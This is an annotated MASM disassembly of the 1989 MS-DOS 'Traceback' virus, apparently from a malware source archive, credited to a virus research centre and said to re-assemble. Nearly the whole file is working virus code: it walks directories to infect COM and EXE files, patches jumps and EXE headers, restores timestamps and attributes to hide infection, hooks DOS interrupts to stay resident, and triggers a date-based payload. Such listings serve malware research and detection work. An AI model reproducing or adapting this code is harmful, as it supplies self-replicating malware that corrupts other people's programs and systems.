MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.tracebck.asm

1304 lines
39 KiB
NASM
Raw Normal View History

2021-01-13 00:01:59 +00:00
page 65,132
title The 'Traceback' Virus
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
; <20> British Computer Virus Research Centre <20>
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
; <20> <20>
; <20> The 'Traceback' Virus <20>
; <20> Disassembled by Joe Hirst, June 1989 <20>
; <20> <20>
; <20> Copyright (c) Joe Hirst 1989. <20>
; <20> <20>
; <20> This listing is only to be made available to virus researchers <20>
; <20> or software writers on a need-to-know basis. <20>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
BOOT SEGMENT AT 0
ORG 24H
BW0024 DW ? ; Int 9 offset
BW0026 DW ? ; Int 9 segment
ORG 70H
BW0070 DW ? ; Int 1CH offset
BW0072 DW ? ; Int 1CH segment
ORG 80H
BD0080 EQU THIS DWORD
BW0080 DW ? ; Int 20H offset
BW0082 DW ? ; Int 20H segment
BW0084 DW ? ; Int 21H offset
BW0086 DW ? ; Int 21H segment
ORG 90H
BW0090 DW ? ; Int 24H offset
BW0092 DW ? ; Int 24H segment
ORG 9CH
BD009C EQU THIS DWORD
BW009C DW ? ; Int 27H offset
BW009E DW ? ; Int 27H segment
ORG 449H
BB0449 DB ? ; Current VDU mode
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
DW0000 DW 02EEBH ; \ Stored start of host program
DB0002 DB 090H ; /
DB0003 DB 0FFH
DB0004 DB 0FBH ; Infection countdown
DD0005 EQU THIS DWORD
DW0005 DW 100H
DW0007 DW 0CBBH
DW0009 DW 4DH
DB000B DB 0, 0
DB000D DB 0EBH, 2EH, 90H, 0FFH, 0FFH, 6CH, 6CH
DB0014 DB 'o - Copyright S & S E', 29 DUP (0)
CURDIR DB 0, 'PLIC', 60 DUP (0) ; Current directory
DTAFLE DB 3, '????????COM ', 2, 0, 0, 0, 'c:\m '
DB 1AH, 0, 0AFH, 0AH, 95H, 58H, 0, 0
DB 'COMMAND.COM', 3 DUP (0)
DTADIR DB 1, '???????????', 10H, 5, 7 DUP (0)
DB 20H, 0E9H, 11H, 0B5H, 12H, 0F6H, 48H, 2, 0
DB 'CAT-TWO.ARC', 0, 0, 0
DB00DF DB 0
SEGREG DW 0AEBH
PTHDSK DB 2 ; Pathname drive
CURDSK DB 2 ; Current disk
ATTR_F DW 0020H ; File attributes
TIME_F DW 22B6H ; File time
DATE_F DW 1174H ; File date
I24_OF DW 04EBH ; Old Int 24H offset
I24_SG DW 0A17H ; Old Int 24H segment
CRTERR DB 0 ; Critical error flag
F_HAND DW 0 ; File handle
F_TIME DW 5951H ; File time
F_DATE DW 0F8BH ; File date
F_ATTR DW 0020H ; File attributes
V_SIGN DB 056H, 047H, 031H ; Virus signature
; Entry point
BP0010: JMP SHORT BP0020
DW SIGNAT
BP0020: CALL BP0640 ; Get relocation constant in SI
CALL BP0600 ; Set Int 24H vector
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV PTH_OF[SI],SI ; \ Address of pathname
ADD PTH_OF[SI],OFFSET DB0884 ; /
MOV PTH_SG[SI],CS ; Segment of pathname
MOV CURDSK[SI],AL ; Save current disk
CALL BP0510 ; Get installed virus segment
MOV DL,PTHDSK[DI] ; Get pathname drive in installed virus
MOV AX,DS ; Get segment in installed virus
PUSH CS ; \ Set DS to CS
POP DS ; /
JNZ BP0030 ; Branch if not installed
MOV PTH_OF[SI],OFFSET DB0884+100H ; Pathname in installed virus
MOV PTH_SG[SI],AX ; Segment in installed virus
CMP DL,0FFH ; Is there a pathname drive?
JE BP0030 ; Branch if not
MOV AH,0EH ; Select disk function
INT 21H ; DOS service
BP0030: MOV BYTE PTR SWTCHB[SI],80H ; Set on switch eight
MOV F_HAND[SI],0 ; Clear file handle
MOV AH,2AH ; Get date function
INT 21H ; DOS service
CMP CX,07C4H ; Is year 1988?
JGE BP0040 ; Branch if not before
JMP SHORT BP0070
PTH_OF DW 0F8CH ; Offset of pathname
PTH_SG DW 0AEBH ; Segment of pathname
ISWTCH DB 0 ; Infected file switch
; 1988 or later
BP0040: JG BP0050 ; Branch if after 1988
CMP DH,0CH ; Is month December?
JL BP0070 ; Branch if not
CMP DL,5 ; 5th of December?
JL BP0070 ; Branch if before
CMP DL,1CH ; 28th of December?
JL BP0060 ; Branch if before
BP0050: MOV DSPCNT[SI],0FFDCH ; Start display count (60 mins)
MOV BYTE PTR SWTCHB[SI],88H ; Switches four & eight
BP0060: CMP DB0004[SI],0F8H ; Has infection count reached target?
JNB BP0080 ; Branch if not
ASSUME DS:NOTHING
BP0070: MOV CRTERR[SI],0 ; Clear critical error flag
JMP BP0270
; Unreachable code
ASSUME DS:CODE
CMP DB0004[SI],0F8H ; Has infection count reached target?
JNB BP0080 ; Branch if not
OR BYTE PTR SWTCHB[SI],4 ; Set on switch three
BP0080: MOV DB00DF[SI],0 ; Set not-first-time switch off
MOV DX,PTH_OF[SI] ; Get pathname offset
MOV DS,PTH_SG[SI] ; Get pathname segment
MOV AX,4300H ; Get attributes function
CALL BP0230 ; Perform a DOS service
JB BP0090 ; Branch if error
ASSUME DS:NOTHING
MOV F_ATTR[SI],CX ; Save file attributes
AND CL,0FEH ; Switch off read-only
MOV AX,4301H ; Set attributes function
CALL BP0230 ; Perform a DOS service
JB BP0090 ; Branch if error
MOV AX,3D02H ; Open handle R/W function
INT 21H ; DOS service
JB BP0090 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV F_HAND[SI],AX ; Save file handle
MOV BX,AX ; Move file handle
MOV AX,5700H ; Get file date and time function
INT 21H ; DOS service
MOV F_TIME[SI],CX ; Save file time
MOV F_DATE[SI],DX ; Save file date
DEC DB0004[SI] ; Decrement infection count
MOV DX,FLENLO[SI] ; Get file length, low word
MOV CX,FLENHI[SI] ; Get file length, high word
ADD DX,OFFSET DB0004 ; \ Add to length
ADC CX,0 ; /
MOV AX,4200H ; Move file pointer (start) function
INT 21H ; DOS service
BP0090: PUSH CS ; \ Set DS to CS
POP DS ; /
TEST BYTE PTR SWTCHB[SI],4 ; Test switch three
JZ BP0100 ; Branch if off
CALL BP0330 ; Write infection count
JMP BP0270
; Change directory to root
BP0100: XOR DL,DL ; Default drive
MOV AH,47H ; Get current directory function
PUSH SI
ADD SI,46H ; Address directory store
INT 21H ; DOS service
POP SI
CMP CRTERR[SI],0 ; Test critical error flag
JNE BP0110 ; Branch if set
CALL BP0250 ; Make root dir current dir
JNB BP0120 ; Branch if no error
BP0110: JMP BP0070
; Find COM files
BP0120: MOV DX,SI ; \ Address DTA area
ADD DX,OFFSET DTAFLE ; /
MOV AH,1AH ; Set DTA function
INT 21H ; DOS service
MOV [SI+5],'.*' ; \
MOV [SI+7],'OC' ; ) '*.COM'
MOV WORD PTR [SI+9],'M' ; /
MOV AH,4EH ; Find first file function
MOV DX,SI ; \ Address file spec
ADD DX,5 ; /
BP0130: MOV CX,0020H ; Attributes - archive
CALL BP0230 ; Perform a DOS service
JB BP0160 ; Move on to EXE files
MOV DX,SI ; \ Address filename in DTA
ADD DX,OFFSET DTAFLE+1EH ; /
MOV ISWTCH[SI],0 ; Set infected file switch off
CALL BP0350 ; Process file
JB BP0150 ; Error or infected file found
CALL BP0330 ; Write infection count
BP0140: JMP BP0260
BP0150: CMP CRTERR[SI],0 ; Test critical error flag
JNE BP0140 ; Branch if set
CMP ISWTCH[SI],0 ; Test infected file switch
JNE BP0200 ; Branch if on
MOV AH,4FH ; Find next file function
JMP BP0130
; Find EXE files
BP0160: MOV [SI+7],'XE' ; \ '*.EXE'
MOV WORD PTR [SI+9],'E' ; /
MOV AH,4EH ; Find first file function
MOV DX,SI ; \ Address file spec
ADD DX,5 ; /
BP0170: MOV CX,0020H ; Attributes - archive
CALL BP0230 ; Perform a DOS service
JB BP0200 ; No more files
MOV DX,SI ; \ Address filename in DTA
ADD DX,OFFSET DTAFLE+1EH ; /
MOV ISWTCH[SI],0 ; Set infected file switch off
CALL BP0350 ; Process file
JB BP0190 ; Error or infected file found
CALL BP0330 ; Write infection count
BP0180: JMP BP0260
ASSUME DS:NOTHING
BP0190: CMP CRTERR[SI],0 ; Test critical error flag
JNE BP0180 ; Branch if set
ASSUME DS:CODE
CMP ISWTCH[SI],0 ; Test infected file switch
JNE BP0200 ; Branch if on
MOV AH,4FH ; Find next file function
JMP BP0170
BP0200: CALL BP0250 ; Make root dir current dir
MOV DX,SI ; \ Address 2nd DTA
ADD DX,OFFSET DTADIR ; /
MOV AH,1AH ; Set DTA function
INT 21H ; DOS service
BP0210: MOV AH,4FH ; Find next file function
MOV CX,0010H ; Find directories
CMP DB00DF[SI],0 ; First time?
JNE BP0220 ; Branch if not
MOV DB00DF[SI],1 ; Set not-first-time switch
MOV [SI+5],'.*' ; \ '*.*'
MOV WORD PTR [SI+7],'*' ; /
MOV AH,4EH ; Find first file function
MOV DX,SI ; \ Address file spec
ADD DX,5 ; /
BP0220: CALL BP0230 ; Perform a DOS service
JB BP0260 ; No more files
TEST DTADIR[SI+15H],10H ; Is it a directory?
JZ BP0210 ; Branch if not
MOV DX,SI ; \ Address file name in DTA
ADD DX,OFFSET DTADIR+1EH ; /
MOV AH,3BH ; Change current directory function
CALL BP0230 ; Perform a DOS service
JB BP0260 ; Branch if error
JMP BP0120 ; Look for COM files
; Perform a DOS service
BP0230: INT 21H ; DOS service
JB BP0240 ; Branch if error
ASSUME DS:NOTHING
TEST CRTERR[SI],0FFH ; Test critical error flag
JZ BP0240 ; Branch if not set
STC
BP0240: RET
; Make root dir current dir
BP0250: MOV WORD PTR [SI+5],'\' ; Root dir
MOV DX,SI ; \ Address root dir pathname
ADD DX,5 ; /
MOV AH,3BH ; Change current directory function
CALL BP0230 ; Perform a DOS service
RET
ASSUME DS:CODE
BP0260: CALL BP0250 ; Make root dir current dir
MOV DX,SI ; \ Address
ADD DX,46H ; /
MOV AH,3BH ; Change current directory function
INT 21H ; DOS service
BP0270: MOV BX,F_HAND[SI] ; Get file handle
OR BX,BX ; Test for a handle
JZ BP0290 ; Branch if none
MOV CX,F_ATTR[SI] ; Get file attributes
MOV DX,PTH_OF[SI] ; Get pathname offset
MOV DS,PTH_SG[SI] ; Get pathname segment
CMP CX,20H ; Are attributes archive?
JE BP0280 ; Branch if yes
MOV AX,4301H ; Set attributes function
INT 21H ; DOS service
BP0280: PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,F_TIME[SI] ; Get file time
MOV DX,F_DATE[SI] ; Get file date
MOV AX,5701H ; Set file date and time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
BP0290: MOV DL,CURDSK[SI] ; Get current disk
MOV AH,0EH ; Select disk function
INT 21H ; DOS service
CALL BP0610 ; Restore Int 24H vector
POP AX ; ?
MOV SEGREG[SI],AX ; Save segment
CMP BYTE PTR [SI+3],0FFH ; Should virus be installed?
JE BP0300 ; Branch if yes
ADD AX,0010H ; Add PSP length to segment
ADD WORD PTR [SI+2],AX ; Store segment
POP AX ; ?
POP DS ; ?
JMP DWORD PTR CS:[SI] ; Branch to ?
; Install resident copy of virus
BP0300: CALL BP0510 ; Get installed virus segment
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV AX,[SI] ; \ Replace first word of host
MOV DW0000+100H,AX ; /
MOV AL,[SI+2] ; \ Replace third byte of host
MOV DB0002+100H,AL ; /
JZ BP0310 ; Branch if installed
MOV BX,DS ; Get current segment
ADD BX,01D0H ; Add length of installed segment
MOV ES,BX ; Segment to copy to
MOV DI,SI ; Start of virus
MOV DX,SI ; Copy relocation factor
MOV CX,OFFSET ENDADR ; Length of virus
CALL BP1160 ; Copy virus and transfer control
MOV CX,DX ; Relocation factor (as length)
MOV SI,DX ; Relocation factor as source
DEC SI ; Back one byte
MOV DI,SI ; Same offset as target
STD ; Going backwards
REPZ MOVSB ; Copy host program
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV DI,0100H ; Target following PSP
MOV DS,BX ; Current segment as source
MOV SI,DX ; Start of virus
MOV CX,OFFSET ENDADR ; Length of virus
CALL BP1160 ; Copy virus and transfer control
MOV SI,0100H ; New relocation factor
PUSH CS ; \ Set DS to CS
POP DS ; /
CALL BP0580 ; Install interrupts
MOV DX,01D0H ; Get length of installed segment
BP0310: MOV DI,CS ; \ New segment for host
ADD DI,DX ; /
MOV WORD PTR [SI+5],0100H ; Host offset
MOV [SI+7],DI ; Host segment
POP AX ; ?
POP DS ; ?
MOV DS,DI ; \
MOV ES,DI ; ) Set up other segment registers
MOV SS,DI ; /
XOR BX,BX ; Clear register
XOR CX,CX ; Clear register
XOR BP,BP ; Clear register
JMP DWORD PTR CS:[SI+5] ; Branch to host program
; Clear error flag and return
ASSUME DS:NOTHING
BP0320: MOV CRTERR[SI],0 ; Clear critical error flag
RET
; Write infection count
ASSUME DS:CODE
BP0330: MOV BX,F_HAND[SI] ; Get file handle
OR BX,BX ; Test for a handle
JZ BP0340 ; Branch if none
MOV DX,SI ; \ Address infection count
ADD DX,OFFSET DB0004 ; /
MOV CX,1 ; Length to write
MOV AH,40H ; Write handle function
INT 21H ; DOS service
BP0340: RET
; Process file
BP0350: PUSH DX
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
ADD AL,'A' ; Convert to letter
MOV AH,':' ; Disk separator
MOV WORD PTR DB0884[SI],AX ; Disk in pathname
MOV BYTE PTR DB0884[SI+2],'\' ; Root directory in pathname
PUSH SI
ADD SI,OFFSET DB0884+3 ; Address next position in pathname
MOV AH,47H ; Get current directory function
MOV DI,SI ; Buffer area
XOR DL,DL ; Default drive
INT 21H ; DOS service
POP SI
DEC DI ; Back one character
BP0360: INC DI ; Next character
MOV AL,[DI] ; Get character
OR AL,AL ; Is it zero
JNZ BP0360 ; Branch if not
POP BX
MOV BYTE PTR [DI],'\' ; Store directory separator
INC DI ; Next position
MOV DX,BX ; Copy filename pointer
BP0370: MOV AL,[BX] ; Get character
MOV [DI],AL ; Store in pathname
INC BX ; Next input position
INC DI ; Next output position
OR AL,AL ; End of filename?
JNZ BP0370 ; Next character if not
BP0380: MOV AX,4300H ; Get attributes function
CALL BP0230 ; Perform a DOS service
JB BP0320 ; Branch if error
ASSUME DS:NOTHING
MOV ATTR_F[SI],CX ; Save attributes
AND CX,00FEH ; Set off read only
MOV AX,4301H ; Set attributes function
CALL BP0230 ; Perform a DOS service
JB BP0320 ; Branch if error
MOV AX,3D02H ; Open handle R/W function
CALL BP0230 ; Perform a DOS service
JB BP0320 ; Branch if error
MOV BX,AX ; Move handle
PUSH DS
PUSH DX
CALL BP0400 ; Infect file if not infected
POP DX
POP DS
PUSHF
MOV CX,ATTR_F[SI] ; Get attributes
CMP CX,20H ; Archive only?
JE BP0390 ; Branch if yes
MOV AX,4301H ; Set attributes function
INT 21H ; DOS service
BP0390: MOV CX,TIME_F[SI] ; Get file time
MOV DX,DATE_F[SI] ; Get file date
MOV AX,5701H ; Set file date and time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
POPF
RET
; Infect file if not infected
BP0400: MOV AX,5700H ; Get file date and time function
INT 21H ; DOS service
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV TIME_F[SI],CX ; Save file time
MOV DATE_F[SI],DX ; Save file date
MOV DX,SI ; \ Address buffer
ADD DX,0DH ; /
MOV DI,DX ; Copy this address
MOV AH,3FH ; Read handle function
MOV CX,001CH ; EXE header length
INT 21H ; DOS service
CMP WORD PTR [DI],'ZM' ; EXE header?
JE BP0430 ; Branch if yes
CALL BP0500 ; Move pointer to end of file
ADD AX,OFFSET SIGNAT+100H ; Add length of virus
JB BP0410 ; Branch if too big for a COM
CMP BYTE PTR [DI],0E9H ; Does it start with a near jump?
JNE BP0420 ; Branch if not
MOV DX,[DI+1] ; Get displacement from jump
XOR CX,CX ; Clear top
MOV AX,4200H ; Move file pointer (start) function
INT 21H ; DOS service
MOV DX,DI ; Read buffer
ADD DX,001CH ; Add length of EXE header
MOV AH,3FH ; Read handle function
MOV CX,3 ; Length to read
INT 21H ; DOS service
CALL BP0440 ; Test virus signature on file
JNB BP0420 ; Branch if not present
ASSUME DS:NOTHING
MOV ISWTCH[SI],1 ; Set infected file switch on
BP0410: RET
ASSUME DS:CODE
BP0420: CALL BP0500 ; Move pointer to end of file
MOV FLENLO[SI],AX ; Save file length, low word
MOV FLENHI[SI],DX ; Save file length, high word
PUSH AX
MOV WORD PTR [DI+3],0FFFFH ; Initialise count
MOV CX,5 ; Length to write
MOV AH,40H ; Write handle function
MOV DX,DI ; Address start of buffer
INT 21H ; DOS service
MOV DX,SI ; \ Address start of virus
ADD DX,5 ; /
MOV CX,OFFSET SIGNAT ; Length of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV BYTE PTR [DI],0E9H ; Near jump instruction
POP AX ; Recover length of file
ADD AX,OFFSET BP0010-3 ; Jump offset to entry point
MOV [DI+1],AX ; Store in jump instruction
MOV DX,DI ; Address of jump instruction
MOV CX,3 ; Length to write
MOV AH,40H ; Write handle function
INT 21H ; DOS service
CLC
RET
; EXE file
BP0430: CMP WORD PTR [DI+0CH],0FFFFH ; Is max alloc asking for maximum?
JNE BP0450 ; Branch if not
PUSH SI
MOV SI,[DI+14H] ; Get initial offset
MOV CX,[DI+16H] ; Get initial segment
MOV AX,CX ; Copy segment
MOV CL,CH ; Move top byte down
XOR CH,CH ; Clear top
SHR CX,1 ; \
SHR CX,1 ; \ Move top nibble into position
SHR CX,1 ; /
SHR CX,1 ; /
SHL AX,1 ; \
SHL AX,1 ; \ Move rest of segment
SHL AX,1 ; /
SHL AX,1 ; /
ADD SI,AX ; \ Add to offset
ADC CX,0 ; /
SUB SI,3 ; \ Subtract length of signature
SBB CX,0 ; /
MOV AX,[DI+8] ; Get size of header
CALL BP0490 ; Move segment to two-register offset
ADD SI,AX ; \ Add to starting position
ADC CX,DX ; /
MOV DX,SI ; Move low word
POP SI
MOV AX,4200H ; Move file pointer (start) function
INT 21H ; DOS service
MOV DX,DI ; Address buffer
ADD DX,001CH ; Add length of EXE header
MOV AH,3FH ; Read handle function
MOV CX,3 ; Length to read
INT 21H ; DOS service
CALL BP0440 ; Test virus signature on file
JNB BP0480 ; Branch if not present
ASSUME DS:NOTHING
MOV ISWTCH[SI],1 ; Set infected file switch on
RET
; Test virus signature on file
BP0440: CMP WORD PTR [DI+1CH],4756H ; Look for virus signature
JNE BP0470 ; Branch if not found
CMP BYTE PTR [DI+1EH],31H ; Look for rest of signature
JNE BP0470 ; Branch if not found
BP0450: STC
BP0460: RET
BP0470: CLC
RET
; Infect EXE file
ASSUME DS:CODE
BP0480: CALL BP0500 ; Move pointer to end of file
MOV FLENLO[SI],AX ; Save file length, low word
MOV FLENHI[SI],DX ; Save file length, high word
MOV CX,[DI+4] ; Get size of file in pages
SHL CX,1 ; Multiply by two
XCHG CH,CL ; Reverse bytes
MOV BP,CX ; Copy
AND BP,0FF00H ; Convert to bytes (low word)
XOR CH,CH ; Convert to bytes (high word)
ADD BP,[DI+6] ; \ Add number of relocation entries
ADC CX,0 ; /
SUB BP,AX ; \ Subtract current length
SBB CX,DX ; /
JB BP0460 ; Branch if overlay
PUSH AX ; Save length of host, low word
PUSH DX ; Save length of host, high word
PUSH [DI+18H] ; Save offset to relocation table
MOV BYTE PTR [DI+18H],0FFH ; Original entry address marker
MOV CX,5 ; Length to write
MOV AH,40H ; Write handle function
MOV DX,DI ; \ Address host entry address
ADD DX,14H ; /
INT 21H ; DOS service
POP [DI+18H] ; Recover offset to relocation table
MOV DX,SI ; \ Address start of virus
ADD DX,5 ; /
MOV CX,OFFSET SIGNAT ; Length of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
POP [DI+16H] ; Recover length of host, high word
POP [DI+14H] ; Recover length of host, low word
ADD WORD PTR [DI+14H],00FAH ; \ Add entry point
ADC WORD PTR [DI+16H],0 ; /
MOV AX,[DI+8] ; Get size of header
CALL BP0490 ; Move segment to two-register offset
SUB [DI+14H],AX ; \ Subtract size of header
SBB [DI+16H],DX ; /
MOV CL,0CH ; Bits to move
SHL WORD PTR [DI+16H],CL ; Convert high word to segment
MOV AX,OFFSET ENDADR ; Length of virus
ADD AX,[DI+2] ; Add bytes in last paragraph
MOV [DI+2],AX ; Store new figure
AND [DI+2],01FFH ; Set off top bits
MOV AL,AH ; Copy high byte
XOR AH,AH ; Clear top of register
SHR AX,1 ; Divide by two
ADD [DI+4],AX ; Add to pages
MOV DX,DI ; Move address of EXE header
MOV CX,001CH ; EXE header length
MOV AH,40H ; Write handle function
INT 21H ; DOS service
CLC
RET
; Move segment to two-register offset
BP0490: XOR DX,DX ; Clear register
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
SHL AX,1 ; \ Move double one bit
RCL DX,1 ; /
RET
; Move pointer to end of file
BP0500: XOR DX,DX ; \ No displacement
XOR CX,CX ; /
MOV AX,4202H ; Move file pointer (EOF) function
INT 21H ; DOS service
RET
; Get installed virus segment
BP0510: XOR AX,AX ; \ Address zero
MOV DS,AX ; /
LDS DI,BD009C ; Load Int 27H vector
LDS DI,[DI+1] ; Get vector from far jump
MOV AX,DI ; Save offset
SUB DI,OFFSET BP0780-V_SIGN ; Address from jump to old Int 27H
CALL BP0530 ; Test virus signature in memory
JZ BP0520 ; Branch if found
MOV DI,AX ; Retrieve offset
SUB DI,OFFSET BP0770-V_SIGN ; Address from new Int 27H routine
CALL BP0530 ; Test virus signature in memory
JZ BP0520 ; Branch if found
LDS DI,BD0080 ; Load Int 20H vector
LDS DI,[DI+1] ; Get vector from far jump
MOV AX,DI ; Save offset
SUB DI,OFFSET BP0630-V_SIGN ; Address from jump to old Int 20H
CALL BP0530 ; Test virus signature in memory
JZ BP0520 ; Branch if found
MOV DI,AX ; Retrieve offset
SUB DI,OFFSET BP0620-V_SIGN ; Address from new Int 27H routine
CALL BP0530 ; Test virus signature in memory
BP0520: RET
; Test virus signature in memory
BP0530: XOR DX,DX ; Clear register
CMP WORD PTR [DI],4756H ; Look for virus signature
JNE BP0540 ; Branch if not present
CMP BYTE PTR [DI+2],31H ; Look for rest of signature
JE BP0550 ; Branch if there
BP0540: INC DX ; Set no virus marker
BP0550: SUB DI,OFFSET V_SIGN ; Subtract offset of signature
OR DX,DX ; Test no virus marker
RET
; Create far jump
BP0560: MOV AL,0EAH ; Far jump
STOSB ; Store jump instruction
MOV AX,CX ; \ Address routine
ADD AX,SI ; /
STOSW ; Store offset
MOV AX,CS ; Get segment
STOSW ; Store segment
BP0570: RET
; Install interrupts
BP0580: OR DX,DX
JZ BP0570 ; Dont install if yes
PUSH DS
PUSH ES
MOV ES,SEGREG[SI] ; Get segment register
MOV DI,00ECH ; Address far jump table
CLD
MOV CX,OFFSET BP0880 ; Int 1CH routine
CALL BP0560 ; Create Int 1CH far jump
MOV CX,OFFSET BP0620 ; Int 20H routine
CALL BP0560 ; Create Int 20H far jump
MOV CX,OFFSET BP0700 ; Int 21H routine
CALL BP0560 ; Create Int 21H far jump
MOV CX,OFFSET BP0770 ; Int 27H routine
CALL BP0560 ; Create Int 27H far jump
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
ASSUME DS:BOOT
CLI
MOV AX,00ECH ; Address Int 1CH far jump
XCHG AX,BW0070 ; Install as Int 1CH offset
MOV CS:I1C_OF[SI],AX ; Save old Int 1CH offset
MOV AX,ES ; Get this segment
XCHG AX,BW0072 ; Install as Int 1CH segment
MOV CS:I1C_SG[SI],AX ; Save old Int 1CH segment
MOV AX,00F1H ; Address Int 20H far jump
XCHG AX,BW0080 ; Install as Int 20H offset
MOV CS:I20_OF[SI],AX ; Save old Int 20H offset
MOV AX,ES ; Get this segment
XCHG AX,BW0082 ; Install as Int 20H segment
MOV CS:I20_SG[SI],AX ; Save old Int 20H segment
MOV AX,00F6H ; Address Int 21H far jump
XCHG AX,BW0084 ; Install as Int 21H offset
MOV CS:I21_OF[SI],AX ; Save old Int 21H offset
MOV AX,ES ; Get this segment
XCHG AX,BW0086 ; Install as Int 21H segment
MOV CS:I21_SG[SI],AX ; Save old Int 21H segment
MOV AX,00FBH ; Address Int 27H far jump
XCHG AX,BW009C ; Install as Int 27H offset
MOV CS:I27_OF[SI],AX ; Save old Int 27H offset
MOV AX,ES ; Get this segment
XCHG AX,BW009E ; Install as Int 27H segment
MOV CS:I27_SG[SI],AX ; Save old Int 27H segment
POP ES
POP DS
STI
RET
; Reset interrupts
ASSUME DS:CODE
BP0590: PUSH ES
MOV ES,SEGREG[SI] ; Get segment register
MOV DI,00F1H ; Address far jump table (2nd entry)
CLD
MOV CX,OFFSET BP0630 ; Jump to old Int 20H
CALL BP0560 ; Create Int 20H far jump
MOV CX,OFFSET BP0720 ; Alternate Int 21H routine
CALL BP0560 ; Create Int 21H far jump
MOV CX,OFFSET BP0780 ; Jump to old Int 27H
CALL BP0560 ; Create Int 27H far jump
POP ES
RET
; Set Int 24H vector
BP0600: PUSH ES
XOR AX,AX ; \ Address zero
MOV ES,AX ; /
ASSUME ES:BOOT
MOV AX,OFFSET BP0790 ; \ Interrupt 24H routine
ADD AX,SI ; /
XCHG AX,BW0090 ; Install as Int 24H offset
MOV I24_OF[SI],AX ; Save old Int 24H offset
MOV AX,CS ; Get this segment
XCHG AX,BW0092 ; Install as Int 24H segment
MOV I24_SG[SI],AX ; Save old Int 24H segment
POP ES
MOV CRTERR[SI],0 ; Clear critical error flag
RET
; Restore Int 24H vector
ASSUME DS:NOTHING
BP0610: PUSH ES
XOR AX,AX ; \ Address zero
MOV ES,AX ; /
MOV AX,I24_OF[SI] ; Get old Int 24H offset
MOV BW0090,AX ; Restore Int 24H offset
MOV AX,I24_SG[SI] ; Get old Int 24H segment
MOV BW0092,AX ; Restore Int 24H segment
POP ES
ASSUME ES:NOTHING
RET
; Interrupt 20H routine
BP0620: JMP BP0680
; Interrupt 20H - jump to original routine
BP0630: DB 0EAH ; Far jump to Int 20H
I20_OF DW 0136CH ; Original Int 20H offset
I20_SG DW 00291H ; Original Int 20H segment
; Get relocation constant in SI
BP0640: POP BX ; Get return address
PUSH DS
PUSH AX
PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
CALL BP0650 ; \ Get current address
BP0650: POP SI ; /
SUB SI,OFFSET BP0650 ; Subtract displacement from it
JMP BX ; Branch to return address
; Free or allocate memory functions
BP0660: CALL BP0640 ; Get relocation constant in SI
PUSH CX
MOV AX,[SI+7] ; Get host segment
MOV CX,ES ; Get relevant segment
CMP AX,CX ; Are they the same?
POP CX
POP DS
POP AX
JNE BP0670 ; Branch if different
PUSH CS ; \ Set ES to CS
POP ES ; /
CMP AH,49H ; Free memory?
JE BP0670 ; Branch if yes
ADD BX,01D0H ; Add length of installed segment
BP0670: POP DS
JMP BP0710 ; Pass on to old Int 21H
; Program termination (Int 20H, or functions 0 or 4CH)
BP0680: XOR DX,DX ; Nothing to keep
BP0690: CALL BP0640 ; Get relocation constant in SI
PUSH ES
PUSH DX
CLI
CALL BP0590 ; Reset interrupts
STI
POP AX
MOV DX,01D0H ; Length of installed segment
ADD DX,AX ; Add length for host
